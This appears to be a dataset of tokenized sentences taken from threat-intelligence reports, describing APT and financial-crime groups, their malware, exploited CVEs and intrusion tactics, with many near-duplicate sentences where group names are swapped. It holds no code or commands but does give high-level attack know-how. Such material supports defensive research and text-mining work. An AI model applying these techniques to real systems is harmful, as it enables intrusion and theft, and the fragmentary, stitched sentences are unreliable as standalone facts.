Like many espionage campaigns , much of APT40 's activity begins by attempting to trick targets with phishing emails , before deploying malware such as the Gh0st RAT trojan to maintain persistence on a compromised network .
The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company 's relationships with other telecommunications companies .
We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers' systems .
Bahamut was shown to be resourceful , not only maintaining their own Android malware but running propaganda sites , although the quality of these activities varied noticeably .
One curious trait of Bahamut is that it develops fully-functional applications in support of its espionage activities , rather than push nonfunctional fake apps or bundle malware with legitimate software .
Curiously , Bahamut appears to track password attempts in response to failed phishing attempts or to provoke the target to provide more passwords .
Thus far , Bahamut 's campaigns have appeared to be primarily espionage or information operations – not destructive attacks or fraud .
Once the Barium Defendants have access to a victim computer through the malware described above , they monitor the victim 's activity and ultimately search for and steal sensitive documents ( for example , exfiltration of intellectual property regarding technology has been seen ) , and personal information fi"om the victim 's network .
Based on the mutexes and domain names of some of their C&C servers , BlackTech 's campaigns are likely designed to steal their target 's technology .
Bookworm has little malicious functionality built-in , with its only core ability involving stealing keystrokes and clipboard contents .
Also , Bookworm uses a combination of encryption and compression algorithms to obfuscate the traffic between the system and C2 server .
They have different functions and ways of spreading , but the same purpose — to steal money from the accounts of businesses .
At that time it was the name of a cybercriminal group that was stealing money from Russian financial establishments — to the tune of at least $150,000 per hit .
Estimating the damages is challenging , but as we learned , the criminals are siphoning off assets in transactions that do not exceed $15,000 each .
Once an exploitable page is identified , Clever Kitten will attempt to upload a PHP backdoor to gain remote access to the system .
Once an exploitable page is identified , the actor will attempt to upload a PHP backdoor to gain remote access to the system .
In Clever Kitten 's attacks , the goal is lateral movement ; this is an attempt to move further into the target environment in order to begin intelligence collection .
Confucius' operations include deploying bespoke backdoors and stealing files from their victim 's systems with tailored file stealers , some of which bore resemblances to Patchwork 's .
Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective .
In order to increase the likelihood of their malware successfully communicating home , cyber espionage threat actors are increasingly abusing legitimate web services , in lieu of DNS lookups to retrieve a command and control address .
To spread the Corkow malware criminals use a drive-by downloads method , when victims are infected while visiting compromised legitimate websites .
Group-IB specialists detected various sites used by criminals to spread the Trojan : mail tracking websites , news portals , electronic books , computer graphics resources , music portals , etc .
Metel is a banking Trojan ( also known as Corkow ) discovered in 2011 when it was used to attack users of online banking services .
After the infection stage , criminals move laterally with the help of legitimate and pentesting tools , stealing passwords from their initial victims ( entry point ) to gain access to the computers within the organization that have access to money transactions .
Delivering a backdoor and spyware , this campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
Delivering a backdoor and spyware , Desert Falcons 's campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
Talos said the perpetrators of DNSpionage were able to steal email and other login credentials from a number of government and private sector entities in Lebanon and the United Arab Emirates by hijacking the DNS servers for these targets , so that all email and virtual private networking ( VPN ) traffic was redirected to an Internet address controlled by the attackers .
Talos reported that these DNS hijacks also paved the way for the attackers to obtain SSL encryption certificates for the targeted domains ( e.g.webmail.finance.gov.lb ) , which allowed them to decrypt the intercepted email and VPN credentials and view them in plain text .
This APT group usually carries out target attacks against government agencies to steal sensitive information .
All attackers simply moved to new C2 infrastructure , based largely around dynamic DNS domains , in addition to making minimal changes to the malware in order to evade signature-based detection .
With GozNym , attackers dupe users by showing them the actual bank 's URL and SSL certificate .
During these intrusions , LEAD 's objective was to steal sensitive data , including research materials , process documents , and project plans .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
In Russia , there were several relatively large cybercriminal groups engaged in financial theft via attacks on RBS .
Since 2011 , the robbers had allegedly been stealing money directly from bank accounts in Russia and other countries of the Commonwealth of Independent States ( CIS ) by using a Trojan called Lurk .
Cadelle 's threats are capable of opening a back door and stealing information from victims' computers .
These threats are capable of opening a back door and stealing information from victims' computers .
Callisto Group appears to be intelligence gathering related to European foreign and security policy .
Based on our analysis of Callisto Group 's usage of RCS Galileo , we believe the Callisto Group did not utilize the leaked RCS Galileo source code , but rather used the leaked readymade installers to set up their own installation of the RCS Galileo platform .
Called Greenbug , this group is believed to be instrumental in helping Shamoon steal user credentials of targets ahead of Shamoon 's destructive attacks .
On Tuesday , Arbor Networks said that it has new leads on a credential stealing remote access Trojan ( RAT ) called Ismdoor , possibly used by Greenbug to steal credentials on Shamoon 's behalf .
It's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
t's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
In the context of the Ismdoor RAT , the DNS attack technique is used primarily by Greenbug for stealing credentials .
According to the security experts , this collection of malware was discovered after their first initial report was published , meaning that Group 27 ignored the fact they were unmasked and continued to infect their targets regardless , through the same entry point , the Myanmar Union Election Commission ( UEC ) website .
The attackers compromised two legitimate Thai websites to host the malware , which is a tactic this group has used in the past .
We were not able to find additional tools , but the attackers again compromised a legitimate Thai website to host their malware , in this case the student portal for a Thai University .
As we have seen in some previous targeted malware attacks , the attackers in this incident are taking advantage of services like changeip.com to establish free subdomains in their infrastructure .
Blending in with legitimate traffic is a common tactic used by attackers to help fly under the radar .
The Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
he Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
In another modification , first observed in the most recent October 11 Parliamentarian operation ( version agewkassif ) , the developer (s ) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware .
To control the full operation , MoneyTaker uses a Pentest framework Server .
At the end of June 2015 Mofang started its campaign to gather information of a specific target in relation to the sezs : the cpg Corporation .
After successfully infecting one of the computers and gaining initial access to the system , the attackers perform reconnaissance of the local network in order to gain domain administrator privileges and eventually consolidate control over the network .
This newly observed activity uses a series of redirections and fileless , malicious implementations of legitimate tools to gain access to the targeted systems .
The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .
The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .
Nitro 's campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
Examples of notable Potao dissemination techniques , some of which were previously unseen , or at least relatively uncommon , include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into ' willingly ' executing the trojan .
The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates .
The PassCV group continues to be extremely effective in compromising both small and large game companies and surreptitiously using their code-signing certificates to infect an even larger swath of organizations .
The ScarCruft group keeps expanding its exfiltration targets to steal further information from infected hosts and continues to create tools for additional data exfiltration .
Financially motivated APT groups which focus efforts on targeted attacks on the financial sector such as — Anunak , Corkow , Buhtrap — usually managed botnets using developed or modified banking Trojans .
They are selective in their attacks and wait for about three months between incidents , which is approximately three times longer than other financially motivated APT groups , like MoneyTaker , Anunak ( Carbanak ) , Buhtrap or Cobalt .
The company specializes in finance and natural resources specific to that region .
Based on the profile of the victims and the type of information targeted by the attackers , Symantec believes that Butterfly is financially motivated , stealing information it can potentially profit from .
Fxmsp specialize in breaching highly secure protected networks to access private corporate and government information .
But , thanks to the attackers known affection for decoy documents that pose as news summaries ,we were able to date the campaign back to March 2018 .
Donot attacked government agencies , aiming for classified intelligence .
Lazarus is a very active attack group involved in both cyber crime and espionage .
To make the fraudulent withdrawals , Lazarus first breaches targeted banks' networks and compromises the switch application servers handling ATM transactions .
The operation , known as FASTCash” has enabled Lazarus to fraudulently empty ATMs of cash .
This malware in turn intercepts fraudulent Lazarus cash withdrawal requests and sends fake approval responses ,allowing the attackers to steal cash from ATMs .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
If an attacker was able to compromise an organization's network administrator credentials , the attacker would be able to change that particular organization's DNS records at will .
If the attackers were able to obtain one of these EPP keys , they would be able to modify any DNS records that were managed by that particular registrar .
Captured legitimate user credentials when users interacted with these actor - controlled servers .
During a typical incident , the actor would modify the NS records for the targeted organization , pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries .
The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials .
This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa) .
Obtaining access to this ccTLD registrars would have allowed attackers to hijack any domain that used those ccTLDs .
Once they have access to the network , they steal the organization's legitimate SSL certificate and use it on actor-controlled servers .
The document exploited CVE-2012-0158 and will decode and write an executable to disk upon infection .
iSiGHT Partners has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
In July of 2015 , we identified a full e-mail uploaded to an antivirus scanning service that carried a Scarlet Mimic exploit document .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day CVE-2017-0261 , and APT28 was using the second EPS zero-day CVE-2017-0262 along with a new Escalation of Privilege (EOP) zero-day CVE-2017-0263 .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
It is possible that CVE-2017-8759 was being used by additional actors .
The addition of the EternalBlue exploit to Metasploit has made it easy for threat actors to exploit these vulnerabilities .
The Magnitude EK landing page consisted of CVE-2016-0189 , which was first reported by FireEye as being used in Neutrino Exploit Kit after it was patched .
The malware leverages an exploit , codenamed EternalBlue” , that was released by the Shadow Brokers on April 14 , 2017 .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz is the framework for controlling infected machines , different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious ETERNALBLUE that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In order to carry out this operation , it uses publicly available tools , including Mimikatz ( Hacktool.Mimikatz ) and an open-source tool that exploits a known Windows privilege escalation vulnerability ( CVE-2016-0051 ) on unpatched computers .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability , however in late January 2018 when , paradoxically , newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
PittyTiger could also use CVE-2014-1761 , which is more recent .
PLATINUM is known to have used a number of zero-day exploits , for which no security update is available at the time of transmission , in these attempts .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
The DLL exploited another previously unknown vulnerability ( designated CVE-2015-2546 ) in the Windows kernel , which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application .
When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves .
PLATINUM has used several zero-day exploits against their victims .
Even if CVE-2015-2546 affected Windows 10 , the exploitation would have required much more technical prowess to succeed ; ultimately , SMEP makes it more difficult for attackers .
For example , one zero-day vulnerability exploit ( CVE-2015-2545 ) used by PLATINUM was addressed immediately in September 2015 .
It possesses a wide range of technical exploitation capabilities , significant resources for researching or purchasing complicated zero-day exploits , the ability to sustain persistence across victim networks for years , and the manpower to develop and maintain a large number of tools to use within unique victim networks .
In 2016 , an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player , which at the time was both unknown and unpatched .
To deliver the malware to the victim machines , the Rocke group exploits vulnerabilities in Apache Struts 2 , Oracle WebLogic , and Adobe ColdFusion .
However , around a month ago , Rocke started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000 .
The Shadow Brokers first emerged in August , when they posted links to a selection of NSA exploits and hacking tools onto Github and other websites .
In April , 2018 , the 360 Core Security takes the lead in capturing the APT-C-06 group’s new APT attack using 0-day vulnerabilities (CVE-2018-8174) in the wild .
The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802) , and the ability to incorporate them into operations .
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017 .
If the lateral movement with credentials fails , then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue , and uses it to spread to that host .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
Figure 2: Zyklon attack flowInfection Techniques CVE-2017-8759 .
This vulnerability was discovered by FireEye in September 2017 , and it is a vulnerability we have observed being exploited in the wild .
Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
TG-3390 actors have used Java exploits in their SWCs .
